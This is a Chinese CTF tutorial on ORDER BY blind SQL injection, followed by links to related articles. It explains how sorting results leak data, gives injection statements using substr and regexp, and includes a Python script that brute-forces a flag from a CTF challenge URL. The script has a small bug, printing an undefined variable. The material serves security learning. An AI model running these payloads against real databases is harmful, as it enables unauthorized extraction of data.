CTF-sql-order by盲注
本文章只讨论了order by盲注,关于order by的报错等注入不在本文章讨论范围,另有文章。
让我们先来看看本文章所使用的表的内容,如下图:
接下来先了解一下order by的基础知识:
order by子句
作用
:对查询返回的结果按一列或多列排序。
语法格式
:ORDER BY {column_name [ASC|DASC]}[,...n]
注意
:orderby 语句默认按照升序对记录进行排序
效果如下图:
思考1:以下两种sql语句的区别?将会怎么对查询结果进行排列?
1、select * from user order by username,password desc;(order by 2,3 desc)
2、select * from user order by username; (order by 2)
第一个排列结果如下图:
第二个排列结果如下图:
结论:
由以上的排序结果可看出:
1、如果是按照列中的字符串来排序的话,是按照字符串的首字母以其在26字母表中的位置来排序的。
2、如果order by的后面有多个参数,则会先照第一个参数进行排序,如果在按照第一个参数排完序之后,其中有重复的(就像上面演示的那样,admin重复),则这些重复的会再按照第二个参数进行排序
思考2:以下两种查询方式等效吗?为什么?
1、select * from user order by id|2;
2、select * from user order by 1|2;
第一个排列结果如下图:
第二个排列结果如下图:
结论:
不等效
原因如下:
我们先看看这句的效果:
select id|2 from user;
select * from user order by 1|2;
我相信大家通过这个就会发现规律了吧:
order by id|2的意思就是id中的每一个数都与2进行‘与’运算,1|2=3, 2|2=2, 3|2=3, 6|2=6,然后就按照做完‘与’运算后的数据进行排序,即2336,然后就会变成第一种的顺序了。但是1|2都为3,这样的话就会按照默认的查询顺序,而不进行排序了。
思考3:在不知道列名的情况下可以通过列序号来指代相应的列,但是可以使用列序号做运算吗?
1、select * from user order by 1;
2、select * from user order by 1+1;
3、select * from user order by 3+1;
4、select * from user order by (1+1);
5、select * from user order by (3+1);
由于篇幅关系,再此仅做部分查询:
结论:
你会发现以上语句的排序结果是一样的,这就说明在不知道列名的情况下可以通过列的序号来指代相应的列,但是不可以做以上加或减之后的排序。
order by盲注:
根据不同的列排序,会返回不同的结果,因此这里可以使用类似于bool型盲注的形式来注入,即使判断结果与某种返回内容相关联,来实现注入。
(即:所谓的order by盲注就是以其排序结果为基准,来判断注入语句是否被成功执行,从而来进行暴力猜解)%e6%b5%85%e6%98%93%e6%b7%b1
注意:
order by可以根据多列排序,因此注入的语句不一定限制于第一个参数,也可以通过逗号去对新的列进行注入,但是要利用逗号之后的参数的话,就必须要求前一个参数排完之后还要有重复的才行。
下面提供一些可供参考的order by盲注语句:
select * from user order by id|(if(substr(database(),1,1)='a',2,3));
当前数据库名称的首字母为a时id和2‘与’,否则和3‘与’。 (造成两种不同的排序)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',2,3));
表CTF中flag字段的首字母为a时id和2‘与’,否则和3‘与’。(造成两种不同的排序)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
flag匹配成功和 1 “与”,匹配失败和 0 “与”。 (造成两种不同的排序)
下面为实现order by盲注的python脚本,可供参考:
import requests
# 定义一个flag取值的一个“范围”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定义为空,而是“^”,是为了从头开始匹配
flag = "^"
# 目标url,先传“|1”,获取其数据的排列内容,作为一个对比的基准
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 这个flag的长度被定义为了50个字符长度
for i in range(50):
# 从定义的dic中挨个取1字符,拼凑payload
for letter in dic:
payload = flag + letter
#该url最后的“}2b1”-->"}+1"
url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
print(url)
# 获取实际注入后的排列内容
content2 = requests.get(url2).content
# 如果不相等,即为flag内容(为什么是不相等,而不是相等,因为在url2的最后又“+1”,即匹配成功则是“?dir=|2”,匹配不成功则是“?dir=|1”)
if(content1 != content2):
flag = payload
print(flag)
break
CTF-sql-order by盲注的更多相关文章
- 渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注 实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术 盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程 当注入时,没有任何提示的时候, ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- Sqli-LABS通关笔录-5[SQL布尔型盲注]
/* 请为原作者打个标记.出自:珍惜少年时 */ 通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...
- webgote的例子(6)SQL注入(盲注)
SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...
- Sql注入_mysql盲注__二次注入
sleep盲注攻击 Sleep延迟:延迟盲注 If(条件,true,false): 条件成立,返回第二个参数,反之第三个参数 举例1:length id=1 union select 1,2,slee ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- Blind SQL injection:盲注详解
什么是盲注? 当应用程序易受SQL注入攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息时,就会出现盲SQL注入. 对于盲目SQL注入漏洞,许多技术(如联合攻击)都是无效的,因 ...
- SQL注入:盲注
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
随机推荐
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- 修复 Edge 浏览器 1Password 插件 Ctrl+Shift+X 弹出快捷键失效
解决方式 在 Edge 浏览器右上角 1Password插件图标上右键,选择设置: 在打开的 1Password 设置页面中,找到快捷键设置环节,默认使用快捷键打开后面为空,点击"在扩展也上 ...
- SpringMVC 入门、请求、响应
目录 SpringMVC 概述 SSM 简介 MVC 简介 SpringMVC 简介 入门案例 Spring 技术架构 SpringMVC 基础配置 常规配置 Controller 加载控制 静态资源 ...
- Django modules模块
http://www.cnblogs.com/wupeiqi/articles/5246483.html
- ajax 有终止请求 abort 那 axios 有没有,怎么实现
见代码 class View extends Component { constructor(props){ super(props); this.state = { cancel:null, can ...
- element UI遇到的问题
1. 在el-dialog中获取el-table的ref为undefined 问题:虽然设置了el-dialog的visible为true,但此时Dom并没有更新,因此在Dom更新前取不到el-tab ...
- Vim使用简介
Vim操作 Vim真的很酷:D 编辑模式 正常模式:在文件中四处移动光标进行修改 插入模式:插入文本 替换模式:替换文本 可视化(一般,行,块)模式:选中文本块 命令模式:用于执行命令 在不同的操作模 ...
- Spring学习(一)idea中创建第一个Spring项目
1.前言 Spring框架是一个开放源代码的J2EE应用程序框架,由Rod Johnson发起,是针对bean的生命周期进行管理的轻量级容器(lightweight container). Sprin ...
- vc mfc listctrl使用虚拟列表 虚拟列表用法
note 虚拟列表可有效加载大量数据 需要处理listctrl的 LVN_GETDISPINFO 消息 使用虚拟列表 不能 使用 insert的方法插入数据,而是告诉listctrl 当前要显示多少行 ...
- 『与善仁』Appium基础 — 30、操作微信小程序
目录 1.测试微信小程序前提 2.获取微信小程序的进程 3.代码示例 4.补充:(了解) 微信小程序和微信公众号的测试方式基本上是一样的. 微信的小程序越来越多了,随之带来的问题是:小程序如何做自动化 ...